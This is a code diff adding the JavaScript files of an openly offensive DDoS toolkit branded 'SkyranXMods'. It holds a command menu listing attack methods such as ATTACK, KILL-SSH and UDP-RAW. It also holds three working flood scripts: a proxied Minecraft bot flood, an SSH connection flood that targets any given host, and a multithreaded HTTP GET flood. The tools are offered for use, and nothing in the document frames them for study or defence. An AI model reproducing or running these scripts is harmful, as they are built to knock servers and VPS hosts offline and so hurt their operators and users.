|
|
364
|
+
};
|
|
365
|
+
// [========================================] //
|
|
366
|
+
async function sigma() {
|
|
367
|
+
const getNews = await fetch(`https://raw.githubusercontent.com/permenmd/cache/main/news.txt`)
|
|
368
|
+
const latestNews = await getNews.text();
|
|
369
|
+
const creatorCredits = `
|
|
370
|
+
Created And Coded Full SkyranXMods
|
|
371
|
+
|
|
372
|
+
Thanks you
|
|
373
|
+
- Allah
|
|
374
|
+
- Orang Tua
|
|
375
|
+
- ChatGpt
|
|
376
|
+
- Buyer
|
|
377
|
+
`
|
|
378
|
+
permen.question('[ \x1b[1m\x1b[36mSkyranXMods\x1b[0m ] : ', (input) => {
|
|
379
|
+
const [command, ...args] = input.trim().split(/\s+/);
|
|
380
|
+
|
|
381
|
+
if (command === 'HELP') {
|
|
382
|
+
console.log(`Home | Description
|
|
383
|
+
-----------------------------------------------------------------
|
|
384
|
+
METHODS | SHOW LIST METHODS
|
|
385
|
+
ATTACK | START DDOS
|
|
386
|
+
KILL-SSH | KILL VPS ACCES
|
|
387
|
+
UDP-RAW | LAUNCH UDP FLOOR ATTACK
|
|
388
|
+
ONGOING | SHOW ONGOING ATTACK
|
|
389
|
+
CREADITS | SHOW CREATOR OF THESE TOOLS
|
|
390
|
+
CLS | CLEAR TERMINAL
|
|
391
|
+
`);
|
|
392
|
+
sigma();
|
|
393
|
+
} else if (command === 'METHODS') {
|
|
394
|
+
console.log(`Methods | Description | sts
|
|
395
|
+
-----------------------------------------------------------------
|
|
396
|
+
FLOOD | Layer7 - Vip Attack Url | on
|
|
397
|
+
TLS | Layer7 - Vip Attack Url | on
|
|
398
|
+
STRIKE | Layer7 - Vip Attack Url | on
|
|
399
|
+
KILL | Layer7 - Vip Attack Url | on
|
|
400
|
+
RAW | Layer7 - Vip Attack Url | on
|
|
401
|
+
BYPASS | Layer7 - Vip Attack Url | on
|
|
402
|
+
THUNDER | Layer7 - Vip Attack Url | on
|
|
403
|
+
STORM | Layer7 - Vip Attack Url | on
|
|
404
|
+
RAPE | Layer7 - Vip Attack Url | on
|
|
405
|
+
DESTROY | Layer7 - Vip Attack Url | on
|
|
406
|
+
SLIM | Layer7 - Vip Attack Url | on
|
|
407
|
+
`);
|
|
408
|
+
sigma();
|
|
409
|
+
} else if (command === 'news') {
|
|
410
|
+
console.log(`
|
|
411
|
+
${latestNews}`);
|
|
412
|
+
sigma();
|
|
413
|
+
} else if (command === 'CREADITS') {
|
|
414
|
+
console.log(`
|
|
415
|
+
${creatorCredits}`);
|
|
416
|
+
sigma();
|
|
417
|
+
} else if (command === 'ATTACK') {
|
|
418
|
+
handleAttackCommand(args);
|
|
419
|
+
} else if (command === 'KILL-SSH') {
|
|
420
|
+
killSSH(args);
|
|
421
|
+
} else if (command === 'UDP-RAW') {
|
|
422
|
+
udp_flood(args);
|
|
423
|
+
} else if (command === 'TRACK-IP') {
|
|
424
|
+
trackIP(args);
|
|
425
|
+
} else if (command === 'ONGOING') {
|
|
426
|
+
ongoingAttack()
|
|
427
|
+
sigma()
|
|
428
|
+
} else if (command === 'CLS') {
|
|
429
|
+
banner()
|
|
430
|
+
sigma()
|
|
431
|
+
} else {
|
|
432
|
+
console.log(`${command} NOT FOUND`);
|
|
433
|
+
sigma();
|
|
434
|
+
}
|
|
435
|
+
});
|
|
436
|
+
}
|
|
437
|
+
// [========================================] //
|
|
438
|
+
function clearall() {
|
|
439
|
+
clearProxy()
|
|
440
|
+
clearUserAgent()
|
|
441
|
+
}
|
|
442
|
+
// [========================================] //
|
|
443
|
+
process.on('exit', clearall);
|
|
444
|
+
process.on('SIGINT', () => {
|
|
445
|
+
clearall()
|
|
446
|
+
process.exit();
|
|
447
|
+
});
|
|
448
|
+
process.on('SIGTERM', () => {
|
|
449
|
+
clearall()
|
|
450
|
+
process.exit();
|
|
451
|
+
});
|
|
452
|
+
|
|
453
|
+
bootup()
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
const mineflayer = require('mineflayer');
|
|
2
|
+
const ProxyAgent = require('proxy-agent');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const net = require('net');
|
|
5
|
+
|
|
6
|
+
const proxyFile = 'proxy.txt';
|
|
7
|
+
const serverHost = process.argv[2];
|
|
8
|
+
const serverPort = process.argv[3];
|
|
9
|
+
const botCount = 100;
|
|
10
|
+
const timeout = 250;
|
|
11
|
+
const floodDuration = process.argv[4] * 1000;
|
|
12
|
+
const threads = botCount;
|
|
13
|
+
|
|
14
|
+
function loadProxies() {
|
|
15
|
+
return fs.readFileSync(proxyFile, 'utf-8').split('\n').filter(Boolean);
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async function checkProxy(proxy) {
|
|
19
|
+
const [host, port] = proxy.split(':');
|
|
20
|
+
return new Promise((resolve) => {
|
|
21
|
+
const socket = new net.Socket();
|
|
22
|
+
socket.setTimeout(timeout);
|
|
23
|
+
|
|
24
|
+
socket.on('connect', () => {
|
|
25
|
+
socket.destroy();
|
|
26
|
+
resolve(proxy);
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
socket.on('timeout', () => {
|
|
30
|
+
socket.destroy();
|
|
31
|
+
resolve(null);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
socket.on('error', () => {
|
|
35
|
+
socket.destroy();
|
|
36
|
+
resolve(null);
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
socket.connect(port, host);
|
|
40
|
+
});
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function createBot(index, proxy) {
|
|
44
|
+
const bot = mineflayer.createBot({
|
|
45
|
+
host: serverHost,
|
|
46
|
+
port: serverPort,
|
|
47
|
+
username: `PermenMD_${index}`,
|
|
48
|
+
agent: new ProxyAgent(`socks5://${proxy}`)
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
bot.on('login', () => {
|
|
52
|
+
console.log(`Bot${index} has logged in`);
|
|
53
|
+
bot.chat('Hey');
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
bot.on('chat', (username, message) => {
|
|
57
|
+
if (message === 'Hey') {
|
|
58
|
+
console.log(`Bot${index} sent message, disconnecting...`);
|
|
59
|
+
bot.quit();
|
|
60
|
+
}
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
bot.on('error', (err) => {
|
|
64
|
+
if (!['ETIMEDOUT', 'ECONNRESET', 'ECONNREFUSED'].includes(err.code)) {
|
|
65
|
+
console.log(`Bot${index} encountered an error: ${err}`);
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
bot.on('end', () => {
|
|
70
|
+
console.log(`Bot${index} has disconnected`);
|
|
71
|
+
});
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
async function runBots() {
|
|
75
|
+
const proxies = loadProxies();
|
|
76
|
+
const validProxies = [];
|
|
77
|
+
|
|
78
|
+
for (const proxy of proxies) {
|
|
79
|
+
const validProxy = await checkProxy(proxy);
|
|
80
|
+
if (validProxy) validProxies.push(validProxy);
|
|
81
|
+
if (validProxies.length >= botCount) break;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
if (validProxies.length < botCount) {
|
|
85
|
+
console.log('Not enough valid proxies found.');
|
|
86
|
+
return;
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
const startTime = Date.now();
|
|
90
|
+
|
|
91
|
+
for (let i = 0; i < threads; i++) {
|
|
92
|
+
(function floodThread() {
|
|
93
|
+
if (Date.now() - startTime < floodDuration) {
|
|
94
|
+
createBot(i + 1, validProxies[i]);
|
|
95
|
+
|
|
96
|
+
setTimeout(floodThread, 100); // Delay to avoid immediate reconnections
|
|
97
|
+
}
|
|
98
|
+
})();
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
console.log('Flooding initiated.');
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
runBots();
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const { Client } = require('ssh2');
|
|
2
|
+
|
|
3
|
+
const floodSSHServer = (hostname, port, username, duration) => {
|
|
4
|
+
const startTime = Date.now();
|
|
5
|
+
const interval = setInterval(() => {
|
|
6
|
+
if (Date.now() - startTime > duration) {
|
|
7
|
+
clearInterval(interval);
|
|
8
|
+
return;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
for (let i = 0; i < 1; i++) {
|
|
12
|
+
const password = 'PermenMD_Here'
|
|
13
|
+
const conn = new Client();
|
|
14
|
+
|
|
15
|
+
conn.on('error', (err) => {
|
|
16
|
+
conn.end();
|
|
17
|
+
|
|
18
|
+
}).connect({
|
|
19
|
+
host: hostname,
|
|
20
|
+
port: port,
|
|
21
|
+
username: username,
|
|
22
|
+
password: password
|
|
23
|
+
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
}, 1);
|
|
29
|
+
}
|
|
30
|
+
const host = process.argv[2];
|
|
31
|
+
const port = process.argv[3];
|
|
32
|
+
const user = process.argv[4];
|
|
33
|
+
const duration = process.argv[5] * 1000;
|
|
34
|
+
|
|
35
|
+
console.log(`${duration}`)
|
|
36
|
+
floodSSHServer(host, port, user, duration)
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
const { Worker, isMainThread, parentPort, workerData } = require('worker_threads');
|
|
2
|
+
const net = require('net');
|
|
3
|
+
|
|
4
|
+
const serverHost = process.argv[2];
|
|
5
|
+
const serverPort = process.argv[3];
|
|
6
|
+
const botCount = 100;
|
|
7
|
+
const floodDuration = process.argv[4] * 1000;
|
|
8
|
+
const botScript = __filename;
|
|
9
|
+
|
|
10
|
+
function createConnection(index) {
|
|
11
|
+
const client = new net.Socket();
|
|
12
|
+
|
|
13
|
+
client.connect(serverPort, serverHost, () => {
|
|
14
|
+
parentPort.postMessage(`Bot${index} connected`);
|
|
15
|
+
for (let h = 0; h < 500; h++) {
|
|
16
|
+
client.write('GET / HTTP/1.1\r\nHost: ' + serverHost + '\r\n\r\n')
|
|
17
|
+
}
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
client.on('close', () => {
|
|
21
|
+
parentPort.postMessage(`Bot${index} disconnected`);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
client.on('error', (err) => {
|
|
25
|
+
parentPort.postMessage(`Bot${index} encountered an error: ${err.message}`);
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function runFlood() {
|
|
30
|
+
const startTime = Date.now();
|
|
31
|
+
let activeConnections = 0;
|
|
32
|
+
|
|
33
|
+
// Create workers to flood the server as fast as possible
|
|
34
|
+
while (Date.now() - startTime < floodDuration) {
|
|
35
|
+
if (activeConnections < botCount) {
|
|
36
|
+
const worker = new Worker(botScript, {
|
|
37
|
+
workerData: { index: activeConnections + 1 }
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
activeConnections++;
|
|
41
|
+
|
|
42
|
+
worker.on('message', (message) => {
|
|
43
|
+
console.log(message);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
worker.on('error', (err) => {
|
|
47
|
+
console.error(`Worker ${activeConnections} encountered an error:`, err);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
worker.on('exit', (code) => {
|
|
51
|
+
if (code !== 0) {
|
|
52
|
+
console.error(`Worker ${activeConnections} stopped with exit code ${code}`);
|
|
53
|
+
}
|
|
54
|
+
activeConnections--;
|
|
55
|
+
});
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
console.log('Flooding completed.');
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// Worker thread script
|
|
63
|
+
if (isMainThread) {
|
|
64
|
+
runFlood();
|
|
65
|
+
} else {
|
|
66
|
+
createConnection(workerData.index);
|
|
67
|
+
}
|